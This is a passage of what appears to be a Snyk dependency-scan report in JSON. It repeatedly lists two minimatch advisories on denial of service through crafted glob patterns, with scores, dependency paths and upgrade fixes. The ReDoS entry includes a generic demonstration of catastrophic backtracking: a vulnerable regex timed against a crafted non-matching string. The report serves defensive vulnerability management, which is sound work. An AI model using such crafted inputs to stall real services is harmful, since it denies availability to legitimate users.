"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", 